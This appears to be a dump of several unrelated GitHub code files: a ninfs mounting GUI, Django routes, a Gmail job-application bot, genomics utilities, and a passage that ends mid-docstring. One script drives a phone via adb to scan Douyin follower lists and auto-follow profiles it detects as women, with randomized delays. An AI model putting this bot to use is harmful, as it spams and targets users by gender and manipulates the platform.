+{"seq_id":"32824410838","text":"import os\nimport sys\nimport tkinter as tk\nimport tkinter.ttk as ttk\nimport tkinter.messagebox as mb\nimport webbrowser\nfrom inspect import cleandoc\nfrom os.path import dirname, join\nfrom pprint import pformat\nfrom subprocess import Popen, PIPE, STDOUT, TimeoutExpired, check_call\nfrom threading import Thread\nfrom traceback import format_exc\nfrom typing import TYPE_CHECKING\nfrom uuid import uuid4\n\nfrom .about import NinfsAbout\nfrom .confighandler import get_bool, set_bool\nfrom .settings import NinfsSettings\nfrom .updatecheck import thread_update_check\nfrom .wizardcontainer import WizardContainer, WizardTypeSelector, WizardFailedMount\n\nif TYPE_CHECKING:\n    from typing import Callable, Dict, List, Tuple\n\ntutorial_url = 'https://gbatemp.net/threads/499994/'\n\nis_windows = sys.platform == 'win32'\nis_mac = sys.platform == 'darwin'\n\n# cx_Freeze, PyInstaller, etc.\nfrozen = getattr(sys, 'frozen', None)\n# PyInstaller sets this\nmeipass = getattr(sys, '_MEIPASS', None)\n\nexecutable = sys.executable\nif is_windows:\n    from os.path import isdir as check_mountpoint\n    from signal import CTRL_BREAK_EVENT\n    from subprocess import CREATE_NEW_PROCESS_GROUP\n\n    if frozen:\n        print('Using console exe')\n        executable = join(dirname(sys.executable), 'ninfs.exe')\n        print(executable)\nelse:\n    from os.path import ismount as check_mountpoint\n\n\ndef thread_output_reader(gui: 'NinfsGUI', proc: 'Popen', uuid: 'str', output_list: 'List[str]'):\n    while proc.poll() is None:\n        for line in proc.stdout:\n            if line != '':\n                line = line.rstrip('\\r\\n')\n                output_list.append(line)\n\n    # if the uuid is not in the mounts dict, then it was killed by this script\n    if proc.returncode and uuid in gui.mounts:\n        gui.remove_mount_info(uuid)\n        wizard_window = WizardContainer(gui)\n        wizard_window.change_frame(WizardFailedMount, returncode=proc.returncode, output=output_list, kind='crash')\n        wizard_window.focus()\n\n\nclass NinfsGUI(tk.Tk):\n    def __init__(self):\n        super().__init__()\n\n        self.mounts: Dict[str, Tuple[Popen, Thread, List[str], str]] = {}\n\n        container = ttk.Frame(self)\n        container.pack(fill=tk.BOTH, expand=True)\n\n        self.wm_withdraw()\n\n        self.wm_title('ninfs')\n\n        self.ico_path = self.get_data_file('windows.ico')\n\n        self.wm_minsize(500, 300)\n        self.create_menu_bar()\n\n        style = ttk.Style(container)\n        style.configure('TMenubutton', background='gainsboro')\n\n        container.rowconfigure(0, weight=0)\n        container.rowconfigure(1, weight=1)\n        container.rowconfigure(2, weight=0)\n        container.columnconfigure(0, weight=1)\n\n        header = ttk.Label(container, text='Mounted contents', font=(None, 15, 'bold'), justify=tk.LEFT)\n        header.grid(row=0, column=0, padx=10, pady=8, sticky=tk.W)\n\n        mount_treeview_frame = ttk.Frame(container)\n        mount_treeview_frame.grid(row=1, column=0, sticky=tk.NSEW, padx=10)\n        mount_treeview_frame.rowconfigure(0, weight=1)\n        mount_treeview_frame.columnconfigure(0, weight=1)\n        mount_treeview_frame.columnconfigure(1, weight=0)\n\n        self.mount_treeview = ttk.Treeview(mount_treeview_frame)\n        self.mount_treeview.grid(row=0, column=0, sticky=tk.NSEW)\n        self.mount_treeview.configure(columns=('mount_path', 'mount_type', 'mounted_item'), show='headings')\n\n        self.mount_treeview.column('mount_path', width=100, anchor=tk.W)\n        self.mount_treeview.heading('mount_path', text='Mount Path')\n        self.mount_treeview.column('mount_type', width=50, anchor=tk.W)\n        self.mount_treeview.heading('mount_type', text='Type')\n        self.mount_treeview.column('mounted_item', width=200, anchor=tk.W)\n        self.mount_treeview.heading('mounted_item', text='Mounted Content')\n\n        mount_treeview_scrollbar = ttk.Scrollbar(mount_treeview_frame, orient=tk.VERTICAL,\n                                                 command=self.mount_treeview.yview)\n        self.mount_treeview.configure(yscrollcommand=mount_treeview_scrollbar.set)\n        mount_treeview_scrollbar.grid(row=0, column=1, sticky=tk.NS)\n\n        actions_frame = ttk.Frame(container)\n        actions_frame.grid(row=2, column=0, padx=10, pady=10, sticky=tk.W)\n\n        new_mount_button = ttk.Button(actions_frame, text='New mount', command=self.show_wizard)\n        new_mount_button.pack(side=tk.LEFT)\n\n        unmount = ttk.Button(actions_frame, text='Unmount selected', command=self.unmount_selected)\n        unmount.pack(side=tk.LEFT)\n\n        self.wm_protocol('WM_DELETE_WINDOW', self.on_close)\n\n    def get_data_file(self, path):\n        if frozen and meipass:\n            return join(meipass, 'guidata', path)\n        else:\n            # this kinda sucks\n            return join(dirname(__file__), 'data', path)\n\n    def set_icon(self, wm: 'tk.Wm'):\n        # just in case this also works on other platforms, but this assumption is likely wrong lol\n        # TODO: fix this for Linux\n        if is_windows:\n            wm.wm_iconbitmap(self.ico_path)\n\n    def check_fuse(self):\n        try:\n            import fuse\n        except EnvironmentError as e:\n            if e.args[0] == 'Unable to find libfuse':\n                if is_windows:\n                    res = mb.askyesno('Failed to load libfuse',\n                                      'Failed to load libfuse. WinFsp needs to be installed.\\n\\n'\n                                      'Would you like to open the WinFsp download page?\\n'\n                                      'https://winfsp.dev/rel/')\n                    if res:\n                        webbrowser.open('https://winfsp.dev/rel/')\n                elif is_mac:\n                    res = mb.askyesno('Failed to load libfuse',\n                                      'Failed to load libfuse. macFUSE needs to be installed.\\n\\n'\n                                      'Would you like to open the macFUSE download page?\\n'\n                                      'https://osxfuse.github.io')\n                    if res:\n                        webbrowser.open('https://osxfuse.github.io')\n                else:\n                    mb.showerror('Failed to load libfuse.')\n                return False\n        except Exception:\n            mb.showerror('Failed to import fusepy', 'Failed to import fusepy.\\n\\n' + format_exc())\n            return False\n        return True\n\n    def mainloop(self, n=0):\n        self.wm_deiconify()\n\n        if not get_bool('internal', 'askedonlinecheck'):\n            message = '''\n            Check for updates online?\n            This will make a request to GitHub every time the ninfs gui is opened.\n            \n            This can be changed any time in Settings.\n            '''\n            if mb.askyesno('Check for updates', cleandoc(message)):\n                set_bool('update', 'onlinecheck', True)\n            set_bool('internal', 'askedonlinecheck', True)\n\n        if get_bool('update', 'onlinecheck'):\n            update_thread = Thread(target=thread_update_check, args=(self,))\n            update_thread.start()\n        super().mainloop(n)\n\n    def on_close(self):\n        if self.mounts:\n            if mb.askokcancel('Exiting', 'Closing ninfs will unmount all contents.'):\n                self.unmount_all(force=True)\n                self.destroy()\n        else:\n            self.destroy()\n\n    def show_settings(self):\n        settings_window = NinfsSettings(self)\n        settings_window.focus()\n\n    def show_wizard(self):\n        wizard_window = WizardContainer(self)\n        wizard_window.change_frame(WizardTypeSelector)\n        wizard_window.focus()\n\n    def mount(self, mounttype: str, cmdargs: 'List[str]', mountpoint: str, callback_success: 'Callable',\n              callback_failed: 'Callable', is_drive_letter: bool):\n        if is_windows:\n            if not is_drive_letter:\n                # the directory must first be deleted before winfsp can mount to it\n                try:\n                    os.rmdir(mountpoint)\n                except FileNotFoundError:\n                    pass\n                except Exception:\n                    exc_list = ['Failed to delete directory:', mountpoint, '']\n                    exc_list.extend(format_exc().splitlines())\n                    callback_failed(None, exc_list)\n                    return\n\n        args = [executable]\n        if not frozen:\n            args.append(dirname(dirname(__file__)))\n        args.extend(cmdargs)\n        args.append('-f')\n        args.append(mountpoint)\n\n        popen_opts = {}\n        if is_windows:\n            popen_opts['creationflags'] = CREATE_NEW_PROCESS_GROUP\n\n        uuid = str(uuid4())\n\n        output_list = ['Command: ' + pformat(args), '']\n        proc = Popen(args, stdin=PIPE, stdout=PIPE, stderr=STDOUT, encoding='utf-8', **popen_opts)\n        thread = Thread(target=thread_output_reader, args=(self, proc, uuid, output_list))\n\n        mount_info = (proc, thread, output_list, mountpoint)\n\n        def check_loop():\n            if check_mountpoint(mountpoint):\n                self.mount_treeview.insert('', tk.END, text=uuid, iid=uuid, values=(mountpoint, mounttype, cmdargs[1]))\n                self.mounts[uuid] = mount_info\n                callback_success()\n                return\n            if proc.poll() is not None:\n                thread.join()\n                callback_failed(proc.returncode, output_list)\n                return\n\n            self.after(500, check_loop)\n\n        thread.start()\n\n        self.after(500, check_loop)\n\n    def unmount_selected(self):\n        # the mounts dict gets modified during iteration, so the list of keys is cloned to prevent issues\n        # it's also done in reverse, since later mounts might be based on earlier ones\n        selection = self.mount_treeview.selection()\n        for s in reversed(selection):\n            self.unmount(s)\n\n    def unmount_all(self, *, force: bool = False):\n        # the mounts dict gets modified during iteration, so the list of keys is cloned to prevent issues\n        # it's also done in reverse, since later mounts might be based on earlier ones\n        for uuid in reversed(self.mount_treeview.get_children()):\n            self.unmount(uuid, force=force)\n\n    def remove_mount_info(self, uuid: str):\n        self.mount_treeview.delete(uuid)\n        del self.mounts[uuid]\n\n    def unmount(self, uuid: 'str', *, force: bool = False):\n        mount_info = self.mounts[uuid]\n        if is_windows:\n            mount_info[0].send_signal(CTRL_BREAK_EVENT)\n            try:\n                mount_info[0].wait(3)\n            except TimeoutExpired:\n                if force:\n                    self.remove_mount_info(uuid)\n                    mount_info[0].kill()\n                else:\n                    res = mb.askyesno('Mount not responding', 'The mount subprocess is not responding.\\nTerminate it?')\n                    if res:\n                        self.remove_mount_info(uuid)\n                        mount_info[0].kill()\n            else:\n                self.remove_mount_info(uuid)\n        else:\n            # I think this is cheating\n            if is_mac:\n                check_call(['diskutil', 'unmount', mount_info[3]])\n                self.remove_mount_info(uuid)\n            else:\n                # assuming linux or bsd, which have fusermount\n                check_call(['fusermount', '-u', mount_info[3]])\n                self.remove_mount_info(uuid)\n\n    @staticmethod\n    def show_tutorial():\n        webbrowser.open(tutorial_url)\n\n    def show_about(self):\n        about_window = NinfsAbout(self)\n        about_window.focus()\n\n    def create_menu_bar(self):\n        self.option_add('*tearOff', tk.FALSE)\n        menubar = tk.Menu(self)\n\n        if is_mac:\n            apple_menu = tk.Menu(menubar, name='apple')\n            apple_menu.add_command(label='About ninfs', command=self.show_about)\n            apple_menu.add_separator()\n            menubar.add_cascade(menu=apple_menu)\n\n            self.createcommand('tk::mac::ShowPreferences', self.show_settings)\n            self.createcommand('tk::mac::Quit', self.on_close)\n\n        file_menu = tk.Menu(menubar)\n        if not is_mac:\n            file_menu.add_command(label='Settings', command=self.show_settings)\n\n        help_menu = tk.Menu(menubar)\n        help_menu.add_command(label='Open tutorial on GBAtemp', command=self.show_tutorial)\n        if not is_mac:\n            help_menu.add_command(label='About ninfs', command=self.show_about)\n\n        menubar.add_cascade(label='File', menu=file_menu)\n        menubar.add_cascade(label='Help', menu=help_menu)\n\n        self.configure(menu=menubar)\n\n\ndef start_gui():\n    window = NinfsGUI()\n\n    if is_windows:\n        from ctypes import windll, get_last_error\n        from os import environ, getpid\n\n        environ['NINFS_GUI_PARENT_PID'] = str(getpid())\n\n        if not windll.kernel32.GetConsoleWindow():\n            # if there is no console, make one and hide it\n            # this is not an elegant solution but it lets us use send_signal on subprocesses\n            if not windll.kernel32.AllocConsole():\n                # AllocConsole fails when I'm testing in PyCharm but get_last_error returns 0, meaning it succeeded.\n                # I don't know why this happens.\n                err = get_last_error()\n                if err:\n                    print('Failed to use AllocConsole:', err)\n            else:\n                windll.user32.ShowWindow(windll.kernel32.GetConsoleWindow(), 0)  # SW_HIDE\n\n    if window.check_fuse():\n        window.mainloop()\n        return 0\n    else:\n        return 70\n","repo_name":"ihaveamac/ninfs","sub_path":"ninfs/gui/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":13615,"program_lang":"python","lang":"en","doc_type":"code","stars":381,"dataset":"github-code","pt":"3"}
+{"seq_id":"3036658258","text":"from django.conf.urls import patterns, url\n\nfrom views import *\n\nurlpatterns = patterns('',\n    url(r'^/linecard/(?P<id>[1-9][0-9]*)$', LineCardDetailView.as_view()),\n    url(r'^/linecard$', LineCardListView.as_view()),\n    url(r'^/model/(?P<id>[1-9][0-9]*)$', SwitchDetailView.as_view()),\n    url(r'^/model$', SwitchListView.as_view()),\n    url(r'^/model/(?P<id>[1-9][0-9]*)/status/progress$', SwitchModelBootProgressView.as_view()),\n    url(r'^/model/(?P<id>[1-9][0-9]*)/status/fail$', SwitchModelBootFailView.as_view()),\n    url(r'^/model/(?P<id>[1-9][0-9]*)/status/success$', SwitchModelBootSuccessView.as_view()),\n)\n","repo_name":"datacenter/ignite-DEPRECATED","sub_path":"switch/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"3"}
+{"seq_id":"41839706500","text":"from .browser import Browser\nfrom time import sleep\nfrom playwright._impl._api_types import TimeoutError as PlaywrightTimeoutError\n\n\nclass Gmail(Browser):\n    \n    open_new_selector = '.T-I.T-I-KE.L3'\n    to_selector = '.agP.aFw'\n    subject_selector = 'input[name=\"subjectbox\"]'\n    content_selector = '.Am.Al.editable.LW-avf.tS-tW'\n    send_selector = '.T-I.J-J5-Ji.aoO.v7.T-I-atl.L3'\n    attachment_selector = '.a1.aaA.aMZ'\n\n    def __init__(self):\n        super().__init__(page_address=\"https://mail.google.com/#inbox\")\n\n    def send(self, application) -> list:\n        try:\n            self.page.wait_for_selector(self.open_new_selector, timeout=5000).click()\n        except PlaywrightTimeoutError:\n            raise TimeoutError(\"Failed to enter Gmail inbox, have you logged in?.\")\n\n        self.page.wait_for_selector(self.to_selector).fill(application[\"Email\"])\n        self.page.wait_for_selector(self.subject_selector).fill(application[\"Subject\"])\n        self.page.wait_for_selector(self.content_selector).type(application[\"Cover Letter\"])\n\n        with self.page.expect_file_chooser() as fc_info:\n            self.page.wait_for_selector(self.attachment_selector).click()\n        file_chooser = fc_info.value\n        file_chooser.set_files(application[\"Resume Path\"])\n        self.page.wait_for_selector(self.send_selector).click()\n        sleep(2)\n\n","repo_name":"tkin-jm/job_application_bot","sub_path":"jabot/third_party/gmail.py","file_name":"gmail.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16604294641","text":"\"\"\"A custom module for utility functions.\"\"\"\n\n\n@staticmethod\ndef prettify(something: str) -> str:\n    \"\"\"Get the prettified version of an expression.\n\n    Args:\n        something (str): The expression you want to prettify.\n\n    Returns:\n        str: The prettified expression.\n    \"\"\"\n    return (\n        something.strip().capitalize()\n        if \"‘\" and \"’\" not in something\n        else something.strip()\n    )\n\n\n@staticmethod\ndef dict_get_element_by_index(dictionary: dict, index: int) -> str:\n    \"\"\"Get the key of a dictionary from an index.\n\n    Args:\n        dictionary (dict): The dictionary you want to find a key from.\n        index (int): The key index you want to find.\n\n    Returns:\n        str: The value corresponding to the key index given.\n    \"\"\"\n    return list(dictionary.keys())[index]\n","repo_name":"eeeeeeeee1212/notion-word-data","sub_path":"notion_word_data/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"11086122795","text":"\"\"\"\n@brief Tester for BumperControl \nTest case numbering rules\nTestXX_YYY\n\t- XX: function id, Example: 00 - first function\n\t- YY: \n\t\t- Normal: 001～\n\t\t- Abnormal: 101～\n\"\"\"\n# Standard library\nimport os\nimport sys\nimport unittest\n\n# External library\n\n# Internal library\nsys.path.insert(0, os.path.abspath(\n\tos.path.join(os.path.dirname(__file__), \"./../\")))\nfrom src.bumper_control.bumper_control import BumperControl \n\n\nclass TestBumperControl(unittest.TestCase):\n\t\"\"\"!\n\t\"\"\"\n\t@classmethod\n\tdef setUpClass(cls):\n\t\tcls.obj = BumperControl()\n\n\tdef execute_test(self, test_function, test_param):\n\t\t\"\"\"! Execute testing \n\t\t:param test_function: \n\t\t:param test_param: \n\t\t:return: errmsg (unicode): error msg\n\t\t\"\"\"\n\t\traise_flg = test_param['raise']\n\n\t\tparams = test_param['params']\n\n\t\tif 'returns' in test_param:\n\t\t\treturns = test_param['returns']\n\t\telse:\n\t\t\treturns = None\n\n\t\tprint_msg = 'func = {}; params = {}; returns = {}; raise = {}'\n\n\t\tprint_msg = print_msg.format(test_function.__name__, params,\n\t\t\t\t\t\t\t\t\t returns, raise_flg)\n\t\tprint(print_msg)\n\n\t\tif raise_flg is True:\n\t\t\twith self.assertRaises(Exception) as ex:\n\t\t\t\ttest_function(**params)\n\n\t\t\terrmsg = 'exception.message : {}'.format(ex.exception)\n\t\t\tprint(errmsg)\n\t\t\t\n\t\t\tself.assertTrue(errmsg.find(returns) > -1)\n\n\t\t\treturn None\n\t\telse:\n\t\t\tresult = test_function(**params)\n\n\t\t\tif returns is not None:\n\t\t\t\tself.assertEqual(result[:-1], returns[:-1])\n\n\t\t\treturn result\n\n\tdef test00_001_initialize_system_parameter(self):\n\t\t\"\"\"! Test case of _initialize_system_parameter \n\t\t\"\"\"\n\t\ttest_function = self.obj._initialize_system_parameter\n\n\t\ttest_params = (\n\t\t\t{\n\t\t\t\t\"raise\": False,\n\t\t\t\t\"params\": {\n\t\t\t\t}\n\t\t\t},\n\t\t)\n\t\t\n\t\tfor test_param in test_params:\n\t\t\tresult = self.execute_test(test_function, test_param)\n\n\tdef test01_001_generate_backing_motion(self):\n\t\t\"\"\"! Test case of _generate_backing_motion \n\t\t\"\"\"\n\t\ttest_function = self.obj._generate_backing_motion\n\n\t\ttest_params = (\n\t\t\t{\n\t\t\t\t\"raise\": False,\n\t\t\t\t\"params\": {\n\t\t\t\t}\n\t\t\t},\n\t\t)\n\t\t\n\t\tfor test_param in test_params:\n\t\t\tresult = self.execute_test(test_function, test_param)\n","repo_name":"chuoru/bumper-robot","sub_path":"src/nitrabot_control/test/test_bumper_control.py","file_name":"test_bumper_control.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70682610003","text":"#python 3.6.4\n# encoding:utf-8\n \n#确保已连接好adb\n#1080 2280 分辨率，一加6测试通过\n#抖音版本20200618\n # 吾爱破解上的有空研究下 2021/4/7/19:47\nimport os\nimport cv2\nimport sys\nimport time\nimport random\nfrom PIL import Image #pip install pillow  \nimport diannaoshuohua # 语音提示可关闭\nimport zhaotu\n \n# 上传照片到电脑\ndef screen():\n        # 截图保存在手机上\n        os.system('adb shell screencap -p /sdcard/screen.png')\n        # 传到电脑上\n        os.system('adb pull /sdcard/screen.png')\n \n# 截图，粉丝详情页图片\ndef screen3():\n        # 截图保存在手机上\n        os.system('adb shell screencap -p /sdcard/screen3.png')\n        # 传到电脑上\n        os.system('adb pull /sdcard/screen3.png')\n \n \n#处理照片\ndef getDistance():         \n        #读取图片\n        image = Image.open('screen.png')\n        #返回元组\n        width = image.size[0]\n        height = image.size[1]\n        #print(height,width)\n \n        for i in range(803,804):#遍历一个纵列\n                for j in range(0,height):\n                        if image.getpixel((i,j))[:3] == (179, 38, 69):#如果找到符合位置的颜色点，则确定了按钮所在\n                                yield j   #生成器。返回所有找到的纵坐标的���\n \ndef jietu(mubiaotu):\n        # 打开刚截取的全屏图\n        img = Image.open(mubiaotu)\n        # 定位到需要截取的地方\n        img = img.crop((0, 200, 1080, 1400))\n        # 截取成功并保存到本地\n        img.save('screen3_jietu.png')\n \ndef as_num(x):\n    y = '{:.10f}'.format(x)  # .10f 保留10位小数\n    return y\n \n# 查找图片\ndef findImg(target1,template2):\n        #读取目标图片\n        target = cv2.imread(target1)\n        #读取模板图片\n        template = cv2.imread(template2)\n        #获得模板图片的高宽尺寸\n        theight,twidth = template.shape[:2]\n        #执行模板匹配，采用的匹配方式cv2.TM_SQDIFF_NORMED\n        result = cv2.matchTemplate(target,template,cv2.TM_SQDIFF_NORMED)\n        cv2.normalize(result,result, 0, 1, cv2.NORM_MINMAX, -1 )\n        min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)\n        strmin_val = str(min_val)\n        cv2.rectangle(target,min_loc,(min_loc[0]+twidth,min_loc[1]+theight),(0,0,225),2)\n        print (\"匹配最小值为：\"+as_num(float(str(min_val))))\n        print ('匹配最大值为：'+as_num(float(str(max_val))))\n        r = int((image.getpixel((min_loc[0]+23,min_loc[1]+17)))[0])\n        if (abs(float(as_num(float(str(max_val))))) >= 0.9) and r > 180:#如果找到符合位置的颜色点:\n                print ('找到符合的图片')\n                return True\n        else:\n                print('没有找到符合的图片')\n                return False\n \n \nif __name__ == '__main__':#主函数开头\n \n        i=0\n        n=0\n        sj = random.uniform(1,5)\n \n         \n        for _ in range(100):\n                screen()\n                print('截屏某用户的粉丝列表')\n                xy = zhaotu.findImg2('s.png','screen.png')\n                for d in xy:\n                        screen()\n                        time.sleep(sj)\n                        os.system('adb shell input tap {} {}'.format(d[0],d[1]))\n                        time.sleep(sj)\n                        screen3()#个人详情页截图        \n                        time.sleep(sj)\n                        jietu('screen3.png')\n                        time.sleep(sj)        \n                         \n                        if zhaotu.findImg1('nv.png','screen3_jietu.png'): \n                                xy = zhaotu.findImg1('nv.png','screen3_jietu.png')\n                                image = Image.open(\"screen3_jietu.png\")#打开个人详情页截图\n                                r = int((image.getpixel((xy[0],xy[1])))[0])\n                                if (r > 180):\n                                        print('找到一位女士，即将关注！')\n                                        os.system('adb shell input tap 550 466')#点击关注按钮，暂用坐标，待完善\n                                        time.sleep(sj)\n                                        os.system('adb shell input keyevent 4')\n                                        time.sleep(sj)                                         \n                                        i=i+1\n                                        print('已关注了'+str(i)+'位女士')\n                                        if i == 175:\n                                                print('本次运行已关注198人，已退出运行！')\n                                                diannaoshuohua.shuohua('本次已关注198人，即将退出！')\n                                                os.system('adb shell input keyevent 26')#power事件。\n                                                sys.exit()\n                                else:\n                                        os.system('adb shell input keyevent 4') #点击后退按钮        \n                        else:\n                                print('这不是女士，即将返回！')\n                                n=n+1\n                                os.system('adb shell input keyevent 4') #点击后退按钮\n                                         \n                #翻页滑动按钮\n                os.system('adb shell input swipe 548 1500 540 225 511')\n                time.sleep(random.uniform(0.4, 0.8))\n                print('正在翻页。。。')\n \n \n#zhaotu.py 调用方法：findImg('目标图片地址','模板图片地址')\n#findImg2----多目标匹配，返回的是生成器结果，需要for遍历出单个结果\n#findImg1----单目标匹配，返回图片所在位置的中心点坐标值\n \nimport cv2\nimport numpy\nfrom PIL import Image\n \ndef as_num(x):\n    y = '{:.10f}'.format(x)  # .10f 保留10位小数\n    return y\n \ndef findImg2(target,template):#opencv模板匹配----多目标匹配\n        #读取目标图片\n        target = cv2.imread(target)\n        #读取模板图片\n        template = cv2.imread(template)\n        #获得模板图片的高宽尺寸\n        theight, twidth = template.shape[:2]\n        #执行模板匹配，采用的匹配方式cv2.TM_SQDIFF_NORMED  \n        print(theight,twidth) \n        result = cv2.matchTemplate(target,template,cv2.TM_SQDIFF_NORMED) #CV_TM_SQDIFF_NORMED\n \n        min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)\n \n        cv2.rectangle(target,min_loc,(min_loc[0]+twidth,min_loc[1]+theight),(0,0,225),2)\n \n        strmin_val = str(min_val)\n        #初始化位置参数\n        temp_loc = min_loc\n        other_loc = min_loc\n        numOfloc = 1\n        #第一次筛选----规定匹配阈值，将满足阈值的从result中提取出来\n        #对于cv2.TM_SQDIFF及cv2.TM_SQDIFF_NORMED方法设置匹配阈值为0.01\n        threshold = 0.01 #这个值从0.01到0.05之间\n        loc = numpy.where(result<threshold)\n        if loc:\n                #遍历提取出来的位置\n                for other_loc in zip(*loc[::-1]):\n                    #print(other_loc[0],other_loc[1])\n                    yield other_loc\n        else:\n                return false\n \n \n# 查找设定的图片是否包含在另一张图片里\ndef findImg1(target1,template2):#传入要查找的图片地址和名称，1为大图，2为小图，从大图里查找小图。\n        #读取目标图片\n        target = cv2.imread(target1)\n        theight1,twidth1 = target.shape[:2]\n        #读取模板图片\n        template = cv2.imread(template2)\n        #获得模板图片的高宽尺寸\n        theight,twidth = template.shape[:2]\n        #执行模板匹配，采用的匹配方式cv2.TM_SQDIFF_NORMED\n        result = cv2.matchTemplate(target,template,cv2.TM_SQDIFF_NORMED)\n        #归一化处理\n        cv2.normalize(result,result, 0, 1, cv2.NORM_MINMAX, -1 )\n        #寻找矩阵（一维数组当做向量，用Mat定义）中的最大值和最小值的匹配结果及其位置\n        min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)\n        #对于cv2.TM_SQDIFF及cv2.TM_SQDIFF_NORMED方法min_val越趋近与0匹配度越好，匹配位置取min_loc\n        #对于其他方法max_val越趋近于1匹配度越好，匹配位置取max_loc\n        strmin_val = str(min_val)\n        #min_loc：矩形定点\n        cv2.rectangle(target,min_loc,(min_loc[0]+twidth,min_loc[1]+theight),(0,0,225),2)\n        #显示结果,并将匹配值显示在标题栏上\n        print (\"匹配最小值为：\"+as_num(float(str(min_val))))\n        print ('匹配最大值为：'+as_num(float(str(max_val))))\n \n        if (abs(float(as_num(float(str(max_val))))) >= 0.9):# 如果找到\n                print ('找到符合的图片')\n                return min_loc[0]+twidth1/2,min_loc[1]+theight1/2\n        else:\n                print('没有找到符合的图片')\n                return False","repo_name":"jihaikang/2021-","sub_path":"4_7/抖音引流.py","file_name":"抖音引流.py","file_ext":"py","file_size_in_byte":8980,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"75129036882","text":"\nfrom lisa.core import genome_tools\nfrom lisa.core.genome_tools import Region, RegionSet, Genome\nfrom collections import Counter\nimport logging\nimport numpy as np\nfrom scipy.sparse import coo_matrix\nfrom mira.adata_interface.core import wraps_functional\nfrom mira.adata_interface.rp_model import get_peak_and_tss_data, add_peak_gene_distances\n\nlogger = logging.getLogger(__name__)\n\nclass StrandedRegion(Region):\n\n    def __init__(self, chromosome, start, end, strand = \"+\", annotation = None):\n        super().__init__(chromosome, start, end, annotation = annotation)\n        self.strand = strand\n        \n\ndef project_sparse_matrix(input_hits, bin_map, num_bins, binarize = False):\n\n    index_converted = input_hits.tocsc()[bin_map[:,0], :].tocoo()\n\n    input_hits = coo_matrix(\n        (index_converted.data, (bin_map[index_converted.row, 1], index_converted.col)), \n        shape = (num_bins, input_hits.shape[1]) if not num_bins is None else None \n    ).tocsr()\n\n    if binarize:\n        input_hits.data = np.ones_like(input_hits.data)\n\n    return input_hits\n\ndef check_region_specification(regions, genome):\n\n        invalid_chroms = Counter()\n        valid_regions = []\n        for i, region in enumerate(regions):\n            assert(isinstance(region, (tuple, list)) and len(region) == 3), 'Error at region #{}: Each region passed must be in format (string \\\"chr\\\",int start, int end'\\\n                .format(str(i))\n            \n            try:\n                new_region = Region(*region, annotation = i)\n                genome.check_region(new_region)\n                valid_regions.append(new_region)\n            except ValueError:\n                raise AssertionError('Error at region #{}: Could not coerce positions into integers'.format(str(i)))\n            except genome_tools.NotInGenomeError as err:\n                invalid_chroms[region[0]]+=1\n                #raise AssertionError('Error at region #{}: '.format(str(i+1)) + str(err) + '\\nOnly main chromosomes (chr[1-22,X,Y] for hg38, and chr[1-19,X,Y] for mm10) are permissible for LISA test.')\n            except genome_tools.BadRegionError as err:\n                raise AssertionError('Error at region #{}: '.format(str(i+1)) + str(err))\n        \n        if len(invalid_chroms) > 0 :\n            logger.warn('{} regions encounted from unknown chromsomes: {}'.format(\n                str(sum(invalid_chroms.values())), str(','.join(invalid_chroms.keys()))\n            ))\n\n        return valid_regions\n\n\ndef get_masked_distances(promoter_set, region_set, max_distance):\n\n    def stranded_distance(r1, r2):\n        if r1.chromosome == r2.chromosome:\n            distance = (-1 if r2.strand == '-' else 1) * (r1.get_center() - r2.get_center())\n\n            if distance == 0: #cannot set to zero b/c sparse\n                distance = 1\n\n            return distance\n        else:\n            return 0\n\n\n    logger.info('Finding peak intersections with promoters ...')\n    region_promoter_map = region_set.map_intersects(\n                                promoter_set, \n                                distance_function = lambda x,y : x.overlaps(y, min_overlap_proportion=0.3), \n                                slop_distance=0\n                            ).tocsr() #REGIONS X GENES\n\n    not_promoter_region = (1 - region_promoter_map.sum(axis = 1) > 0) # REGIONS X 1\n\n    logger.info('Calculating distances between peaks and TSS ...')\n    distance_matrix = region_set.map_intersects(\n                                promoter_set,\n                                distance_function = stranded_distance, #ensure zero distance is not masked out by sparse matrix\n                                slop_distance= 0.5 * max_distance\n                        ).tocsr() #REGIONS X GENES\n\n    logger.info('Masking other genes\\' promoters ...')\n    distance_matrix.multiply(not_promoter_region) + distance_matrix.multiply(region_promoter_map)\n\n    distance_matrix.eliminate_zeros()\n\n    return distance_matrix\n\n\n@wraps_functional(get_peak_and_tss_data, add_peak_gene_distances, ['peaks','gene_id','chrom','start','end','strand'])\ndef get_distance_to_TSS(max_distance = 6e5, promoter_width = 3000,*, \n    peaks, gene_id, chrom, start, end, strand, genome_file):\n    '''\n    Given TSS data for genes, find the distance between the TSS of each gene\n    and the center of each accessible site measured in the data. This distance\n    is used to train RP Models.\n\n    Parameters\n    ----------\n    adata : anndata.AnnData\n        AnnData object of chromatin accessibility. Peak locations located in\n        `.var` with columns corresponding to the chromosome, start, and end\n        coordinates given by the `peak_chrom`, `peak_start` and `peak_end`\n        parameters, respectively. \n    tss_data : pd.DataFrame or str\n        DataFrame of TSS locations for each gene. TSS information must include\n        the chromosome, start, end, strand, and symbol of the gene. May pass\n        either an in-memory dataframe or path to that dataframe on disk.\n    sep : str, default = \"\\t\"\n        If loading `tss_data` from disk, use this separator character.\n\n    peak_chrom : str, default = \"chr\"\n        The column in `adata.var` corresponding to the chromosome of peaks\n    peak_start : str, defualt = \"start\"\n        The column in `adata.var` corresponding to the start coordinate of peaks\n    peak_end : str, default = \"end\"\n        The column in `adata.var` corresponding to the end coordinate of peaks\n    \n    gene_chrom : str, default = \"chrom\"\n        The column in `tss_data` corresponding to the chromosome of genes\n    gene_start : str, default = \"txStart\"\n        The column in `tss_data` corresponding to the start index of a transcript.\n        For plus-strand genes, this will be the TSS location.\n    gene_end : str, default = \"txEnd\"\n        The column in `tss_data` corresponding to the end of a transcript.\n        For 